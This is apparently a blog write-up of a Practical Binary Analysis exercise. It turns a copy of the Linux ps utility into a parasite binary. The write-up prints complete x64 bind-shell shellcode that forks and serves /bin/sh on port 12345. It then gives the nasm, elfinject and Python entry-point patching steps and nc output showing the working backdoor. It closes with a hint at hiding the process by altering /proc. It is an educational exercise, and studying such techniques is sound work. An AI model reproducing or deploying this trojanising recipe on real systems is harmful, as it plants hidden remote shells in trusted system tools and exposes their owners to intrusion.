Intro

Recently, I have decided to tackle another challenge from the Practical Binary Analysis book, which is the latest one from Chapter 7.

It asks the reader to create a parasite binary from a legitimate one. I have picked ps, the process snapshot utility, where I have implanted a bind-shell as a child process.

DISCLAIMER :

The following PoC will work only on a non-PIE binary due to the hardcoded entry-point address

Inspecting the target

Let’s start our ride by creating a copy of the original executable (can be anyone) into our working folder.

$ cp /bin/ps ps_teo

And take note of the original entry point.

$ readelf -h ps_teo
ELF Header:
...
  Entry point address:               0x402f10
...

We will be replacing the original entry point with the address of our malicious section and restore normal execution after the shellcode has done its job. But, before jumping to that we should plan our shellcode.

Shellcoding our way out

We said we want a bind shell, right? Here a modified version of a standard x64 bindshell, where we make use of the fork systemcall to spawn a child process.

BITS 64

SECTION .text
global main

section .text

main:
  push rax         ; save all clobbered registers
  push rcx               
  push rdx
  push rsi
  push rdi
  push r11

  ;fork
  xor rax,rax
  add rax,57
  syscall
  cmp eax, 0
  jz child

parent:
  pop r11          ; restore all registers
  pop rdi
  pop rsi
  pop rdx
  pop rcx
  pop rax

  push 0x402f10    ; jump to original entry point
  ret

child:  
  ; socket
  xor eax,eax
  xor ebx,ebx
  xor edx,edx
  ;socket
  mov al,0x1
  mov esi,eax
  inc al
  mov edi,eax
  mov dl,0x6
  mov al,0x29      ; sys_socket (syscall 41)
  syscall

  xchg ebx,eax

  ; bind
  xor  rax,rax
  push   rax
  push 0x39300102 ; port 12345
  mov  [rsp+1],al
  mov  rsi,rsp
  mov  dl,16
  mov  edi,ebx
  mov  al,0x31     ; sys_bind (syscall 49)
  syscall

  ;listen
  mov  al,0x5
  mov esi,eax
  mov  edi,ebx
  mov  al,0x32     ; sys_listen (syscall 50)
  syscall

  ;accept
  xor edx,edx
  xor esi,esi
  mov edi,ebx
  mov al,0x2b      ; sys_accept (43)
  syscall
  mov edi,eax      ; store socket

  ;dup2
  xor rax,rax
  mov esi,eax
  mov al,0x21      ; sys_dup2 (syscall 33)
  syscall
  inc al
  mov esi,eax
  mov al,0x21
  syscall
  inc al
  mov esi,eax
  mov al,0x21
  syscall

  ;exec
  xor rdx,rdx
  mov rbx,0x68732f6e69622fff
  shr rbx,0x8
  push rbx
  mov rdi,rsp
  xor rax,rax
  push rax
  push rdi
  mov  rsi,rsp
  mov al,0x3b      ; sys_execve (59)
  syscall
  call exit

exit:
  mov     ebx,0    ; Exit code
  mov     eax,60   ; SYS_EXIT
  int     0x80

We start by saving all registers, then we call the child routine and we finish by restoring execution to the original entry point. Let’s now create a raw binary from this NASM file, which can be used by our injection process later on.

nasm -f bin -o bind_shell.bin bind_shell.s

ELF-Inject

Our very next step is to inject a bind-shell into the ps ELF via a tool named aptly ELF Inject, which is available from the book source code.

./elfinject ps_teo bind_shell.bin ".injected" 0x800000 -1

If we inspect the binary once more, we can notice the new .injected section around location 0x800000

$ readelf --wide --headers ps_teo  | grep injected
  [27] .injected         PROGBITS        0000000000800c80 017c80 0000b0 00  AX  0   0 16

Guess what? The value 800c80 is going to be our new entry point. I wrote a quick and dirt script that patch the entry-point on the fly.

import sys
import binascii

# usage: ep_patcher.py -filename -new_entrypoint
patch_file_input = sys.argv[1]
new_ep = sys.argv[2]
new_ep = binascii.unhexlify(new_ep)

with open(patch_file_input, 'rb+') as f:
    f.seek(24)
    f.write(new_ep)

We can test it by inserting the new address in little-endian format:

python patcher.py ps_teo 800c80

. . .we can verify that the new entry point has been modified correctly:

$ readelf  -h ps_teo
ELF Header:
...
  Entry point address:               0x800c80
...

After we ran the injected version of ps, we can notice a new listening socket on port 12345:

$ netstat -antulp | grep 12345
tcp        0      0 0.0.0.0:12345           0.0.0.0:*               LISTEN      6898/ps_teo

Which leads to the expected backdoor:

$ nc localhost 12345
id
uid=1000(binary) gid=1000(binary) groups=1000(binary),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

whoami
binary

Extra stealthiness

If we want to hide our process from ps or top we could go even a step further and revise the whole shellcode to force it alter the /proc/ folder like this or that one.